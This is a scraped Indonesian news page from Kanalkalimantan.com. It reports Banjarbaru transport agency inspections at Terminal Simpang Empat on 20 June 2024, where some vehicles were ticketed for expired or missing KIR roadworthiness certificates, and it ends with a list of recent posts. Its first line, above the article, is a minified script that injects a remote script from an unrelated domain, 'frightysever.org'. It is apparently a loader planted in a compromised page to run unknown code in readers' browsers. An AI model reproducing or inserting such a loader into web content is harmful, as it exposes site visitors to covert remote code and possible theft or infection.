(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Angkutan Barang dan Umum Terjaring di Terminal Simpang Empat Banjarbaru


KANALKALIMANTAN.COM, BANJARBARU – Dinas Perhubungan (Dishub) Kota Banjarbaru melakukan pengecekan armada barang dan angkutan umum di Terminal Simpang Empat Banjarbaru, Kalimantan Selatan (Kalsel), Kamis (20/6/2024) sore.

Pemeriksaan laik jalan angkutan umum tersebut menitikberatkan pada pemeriksaan kelayakan uji kendaraan, salah satunya terkait kelengkapan surat kendaraan.

Kabid Lalu Lintas dan Angkutan Jalan (LLAJ) Dishub Banjarbaru, Adi Royan menjelaskan, tujuan utama pemeriksaan adalah agar angkutan barang dan angkutan umum layak untuk digunakan di jalan raya.

Baca juga: Mulai Besok, Polda Kalsel Resmi Bermarkas di Kota Banjarbaru

Kabid Lalu Lintas dan Angkutan Jalan Dishub Banjarbaru, Adi Royan. Foto: wanda

“Dan ternyata masih ada kita temukan beberapa pelanggaran terutama untuk uji KIR-nya,” ujar Adi Royan, Kamis (20/6/2024) sore.

Dalam pemeriksaan, beberapa kendaraan angkutan ditemukan masih tidak melengkapi KIR atau KIR-nya sudah tidak berlaku lagi.

“Oleh sebab itu kami lakukan penilangan karena beberapa KIR-nya sudah tidak berlaku lagi,” sambung dia.

Baca juga: Dua Bangunan di Liang Anggang Diratakan, Berdiri Tanpa PBG

Dirinya menegaskan kepada pemilik angkutan barang dan umum memproses uji KIR sesuai aturan yang ditetapkan di Unit Pengujian Kendaraan Bermotor di Kota Banjarbaru.

“Karena berdasarkan Undang-Undang Nomor 1 Tahun 2022 bahwa uji KIR dapat dilakukan secara gratis, tidak ada lagi retribusi yang menjadi kewajiban para pemilik kendaraan,” ucapnya.

Baca juga: Babinsa dan Bhabinkamtibmas Diberi Wewenang Tutup Layanan Transaksi Top Up Game Online

Kegiatan seperti ini, sambungnya akan terus rutin dilakukan sehingga keselamatan penumpang dalam menggunakan angkutan umum dapat terjaga.

“Tentu akan terus kami rutinkan tujuan utamanya adalah agar kendaraan umum atau kendaraan barang layak untuk digunakan di jalan raya,” tuntas Adi. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie


Muhammad Andi

Recent Posts

Bupati Saidi Mansyur dan Jajaran Pemkab Banjar Peringati Maulid Nabi Muhammad SAW

KANALKALIMANTAN.COM, MARTAPURA - Suasana khidmat mewarnai peringatan Maulid Nabi Muhammad SAW yang digelar Pemkab Banjar… Read More

4 jam ago

Relawan Muhidin-Hasnur ‘Panaskan Mesin’, Sepakat Tidak Lakukan Kampanye Hitam

KANALKALIMANTAN.COM, BANJARMASIN - Menjelang penetapan calon gubernur dan wakil gubernur relawan Muhidin-Hasnur dari 13 kabupaten… Read More

7 jam ago

Kabar Alih Fungsi Minggu Raya, Ini Respon Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU - Kabar Minggu Raya –kawasan kuliner- di jantung Ibu Kota Provinsi Kalimantan Selatan… Read More

8 jam ago

Menjaga Tradisi Banjar Baayun Maulid di Masjid Tertua Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Syair-syair maulid sebagai pujian kepada Nabi Muhammad SAW menggema di Masjid Sultan… Read More

8 jam ago

PAFI PC Sorong: Mitra Setia dalam Pengembangan Profesi Farmasi

KANALKALIMANTAN.COM - Kamu mungkin sudah tahu bahwa profesi farmasi adalah salah satu pilar penting dalam dunia… Read More

16 jam ago

Nurgita Tiyas Sapa Pedagang di Pasar Terapung Lokbaintan

KANALKALIMANTAN.COM, MARTAPURA - Suasana di Pasar Terapung Lokbaintan, Kecamatan Sungaitabuk, Kabupaten Banjar pada Minggu (15/9/2024)… Read More

1 hari ago

This website uses cookies.